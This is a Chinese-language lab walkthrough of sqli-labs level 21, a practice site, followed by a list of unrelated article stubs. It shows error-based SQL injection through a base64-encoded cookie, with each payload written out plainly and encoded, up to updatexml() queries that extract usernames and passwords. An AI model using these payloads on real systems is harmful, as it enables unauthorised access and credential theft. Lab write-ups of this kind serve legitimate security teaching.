sqli-labs关卡21(基于cookie被base64编码的报错盲注)通关思路

文章目录

  • 前言
  • 一、回顾上一关知识点
  • 二、靶场需要了解的前置知识
    • 1、什么是base64编码?
  • 三、靶场第二十一关通关思路
    • 1、判断注入点
    • 2、爆数据库名
    • 3、爆数据库表
    • 4、爆数据库列
    • 5、爆数据库关键信息
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关是一个基于http头部中cookie的报错注入,这一关不同的是cookie被base64编码了。

二、靶场需要了解的前置知识

  • 1、怎么判断是base64编码?

1、什么是base64编码?

Base64,就是包括小写字母a-z、大写字母A-Z、数字0-9、符号"+“、”/"一共64个字符的字符集,(任何符号都可以转换成这个字符集中的字符,这个转换过程就叫做base64编码。Base64由于以上优点被广泛应用于计算机的各个领域,然而由于输出内容中包括两个以上“符号类”字符(+,
/, =),不同的应用场景又分别研制了Base64的各种“变种”。为统一和规范化Base64的输出,Base62x被视为无符号化的改进版本。

我们只要知道怎么判断是不是base64编码就行,字符串只可能包含A-Z,a-z,0-9,+,/,=字符,而且一般后面有等号,所以很好分别了。

三、靶场第二十一关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

这里我们有了前几关的思路,我们登录测试账号admin/admin
发现和上一关一样,有cookie回显,我们也是可以猜测是cookie与数据库交互然后输出到web界面了。但是发现cookie值有等于号,是典型的base64编码形式。(如图所示)
在这里插入图片描述
也就是说cookie值是被base编码后输出了,如果我们要拼接sql语句的话就得base64编码,和它保持一个格式。看源代码也是发现cookie被base64编码后再解码带入数据库中最后再编码输出到web页面,由于在解码带入数据库的过程中没有严格过滤导致有sql注入。也发现uname和passwd被转义了。(图1-3是base64编码解码,图四是uname和passwd被转义)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
由于这里是先编码再解码与数据库交互,所以我们sql语句得自己编码。这里我们先到base64编码网站先把

YWRtaW4=

试着去解码发现是admin。这也是判断是不是base64编码的方法。

在这里插入图片描述
这里我们开始找注入点,构造payload。前是原始攻击语句,后是base64编码后的语句。

admin and 1=1
YWRtaW4gYW5kIDE9MQ==
admin and 1=2
YWRtaW4gYW5kIDE9Mg==

发现页面没有异常,排除数字型,这里再试一试单引号。发现报错

admin'
YWRtaW4n

在这里插入图片描述
报错信息为

Issue with your mysql: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ‘‘admin’’) LIMIT 0,1’ at line 1

通过报错信息可以知道是一个单引号加括号的闭合。
所以最终payload为

admin')#
YWRtaW4nKSM=

因为发现之会回显报错信息,不会回显我们要查询的内容,即不能用联合查询。这里用报错注入。

2、爆数据库名

注入语句为

admin') and updatexml(1,concat(0x3a,(select database()),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDNhKSwxKSM=

在这里插入图片描述
得到数据库名字

3、爆数据库表

注入语句为

admin') and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBsaW1pdCAzLDEpLDB4M2EpLDEpIw==

在这里插入图片描述

得到关键数据库表名users

4、爆数据库列

注入语句为

admin') and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSJ1c2VycyIgbGltaXQgMSwxKSwweDNhKSwxKSM=
admin') and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSJ1c2VycyIgbGltaXQgMiwxKSwweDNhKSwxKSM=

在这里插入图片描述
在这里插入图片描述
得到关键数据库列username,password

5、爆数据库关键信息

注入语句为

admin') and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDAsMSksMHgzYSksMSkj
admin') and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCB1c2VybmFtZSBmcm9tIHVzZXJzIGxpbWl0IDAsMSksMHgzYSksMSkj

在这里插入图片描述

在这里插入图片描述

得到账号密码


总结

这一关利用base64编码进行绕过,因为其cookie值被带入数据库中没有严格过滤,只经过base64的编码解码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/197084.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Funbox9_GaoKao通过NC获取反向shell

一. 发现主机 arp-scan -l -I eth0 找打GaoKao主机IP地址 173.30.1.128 二. Nmap扫描主机 nmap -A -T5 172.30.1.128 -A :系统探测,版本检测,脚本扫描,路由跟踪 -T(0-5):数字越大速度越快(准确度低),数字越…

vue+echarts实现依赖关系无向网络拓扑结图节点折叠展开策略

目录 引言 一、设计 1. 树状图(不方便呈现节点之间的关系,次要考虑) 2. 力引导依赖关系图 二、力引导关系图 三、如何实现节点的Open Or Fold 1. 设计逻辑 节点展开细节 节点收缩细节 代码实现 四、结果呈现 五、完整代码 引言 我…

离散数学-集合论基础

3.1集合的基本概念 1)集合及元素 2)集合的表示 3)集合的关系 4)特殊集合 3.2集合的运算 并、交、差、对称差 3.3集合的划分与覆盖 3.4排斥包含管理 3.1集合的基本概念 1)集合及元素 将某种具有同种属性的个体…

扩散模型实战(十三):ControlNet结构以及训练过程

推荐阅读列表: 扩散模型实战(一):基本原理介绍 扩散模型实战(二):扩散模型的发展 扩散模型实战(三):扩散模型的应用 扩散模型实战(四&#xff…

振南技术干货集:znFAT 硬刚日本的 FATFS 历险记(9)

注解目录 1、znFAT 的起源 1.1 源于论坛 (那是一个论坛文化兴盛的年代。网友 DIY SDMP3 播放器激起了我的兴趣。) 1.2 硬盘 MP3 推了我一把 (“坤哥”的硬盘 MP3 播放器,让我深陷 FAT 文件系统不能自拔。) 1.3 我…

智能优化算法应用:基于缎蓝园丁鸟算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用:基于缎蓝园丁鸟算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用:基于缎蓝园丁鸟算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.缎蓝园丁鸟算法4.实验参数设定5.算法结果…

WIN10 x86环境部署ARM虚拟机(银河麒麟)

我们经常使用的是x86架构的cpu,而对于不同cpu架构的arm架构的操作系统,我们可以通过QEMU模拟器来进行模拟一个arm环境 1、部署前的准备 arm的镜像: 以此镜像为例:Kylin-Server-10-SP2-aarch64-Release-Build09-20210524.iso QE…

每日一练【移动零】

一、题目描述 283. 移动零 - 力扣(LeetCode) 给定一个数组 nums,编写一个函数将所有 0 移动到数组的末尾,同时保持非零元素的相对顺序。 请注意 ,必须在不复制数组的情况下原地对数组进行操作。 二、题目解析 可以…

docker限制容器内存的方法

在服务器中使用 docker 时,如果不对 docker 的可调用内存进行限制,当 docker 内的程序出现不可预测的问题时,就很有可能因为内存爆炸导致服务器主机的瘫痪。而对 docker 进行限制后,可以将瘫痪范围控制在 docker 内。 因此&#…

1、nmap常用命令

文章目录 1. 主机存活探测2. 常见端口扫描、服务版本探测、服务器版本识别3. 全端口(TCP/UDP)扫描4. 最详细的端口扫描5. 三种TCP扫描方式(1)TCP connect 扫描(2)TCP SYN扫描(3)TCP …

两部手机数据传输后备忘录不见了怎么回事

想必很多人都遇到过,当两部手机进行备忘录数据传输后,突然发现备忘录不见了,这让人不禁着急上火,我也曾经遇到过这种事情导致很多重要的内容都丢失了。 一般出现这种情况可能是因为,两部手机使用的是不同的云服务&…

2020年3月25日 Go生态洞察:Go、Go社区与疫情大流行

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…

04 # 第一个 TypeScript 程序

初始化项目以及安装依赖 新建 ts_in_action 文件夾 npm init -y安装好 typescript,就可以执行下面命令查看帮助信息 npm i typescript -g tsc -h创建配置文件,执行下面命令就会生成一个 tsconfig.json 文件 tsc --init使用 tsc 编译一个 js 文件 新…

Element-ui合并table表格列方法

merageCell({ row, column, rowIndex, columnIndex }) {if (columnIndex 0 || columnIndex 1) {const property columnIndex 0 ? name : firstDeptName;// 获取当前行的property,这里看自己的需要,改成根据哪个去判断const currentPropertyVal row…

ChatGPT到底是如何运作?

自从2022年11月30日发布以来,ChatGPT一直占据着科技届的头条位置,随着苹果的创新能力下降,ChatGPT不断给大家带来震撼,2023年11月7日,首届OpenAI开发者大会在洛杉矶举行,业界普遍认为,OpenAI的开…

Text-to-SQL小白入门(九)InstructGPT论文:教你如何训练ChatGPT

论文概述 InstructGPT和ChatGPT 的训练流程基本一致 ,ChatGPT是改进后的InstructGPT,比如InstructGPT是基于GPT-3训练,而ChatGPT是基于GPT-3.5训练。 基本信息 英文标题:Training language models to follow instructions with h…

香港科技大学广州|智能制造学域博士招生宣讲会—华中科技大学专场

时间:2023年12月08日(星期五)15:00 地点:华中科技大学大学生活动中心A座603 报名链接:https://www.wjx.top/vm/mmukLPC.aspx# 宣讲嘉宾: 胡鹏程 副教授 https://facultyprofiles.hkust-gz.edu.cn/faculty-…

RabbitMQ消息队列

简介 MQ(message queue),从字面意思上看就个 FIFO 先入先出的队列,只不过队列中存放的内容是 message 而已,它是一种具有接收数据、存储数据、发送数据等功能的技术服务。 作用:流量削峰、应用解耦、异步处理。 生产者将消息发送…

黑马点评-Feed流的实现方案,基于推拉结合模式实现笔记推送

Feed流实现方案 我们关注了博主之后,当用户发布了动态后我们应该把这些数据推送给粉丝,关注推送也叫作Feed(投喂)流,通过无限下拉刷新获取新的信息 传统的模式内容检索: 粉丝需要主动通过搜索引擎或者是其他方式去查找想看的内容新型Feed流的效果: 系统分析用户到底想看什么,…

okhttp系列-拦截器的执行顺序

1.将拦截器添加到ArrayList final class RealCall implements Call {Response getResponseWithInterceptorChain() throws IOException {//将Interceptor添加到ArrayListList<Interceptor> interceptors new ArrayList<>();interceptors.addAll(client.intercept…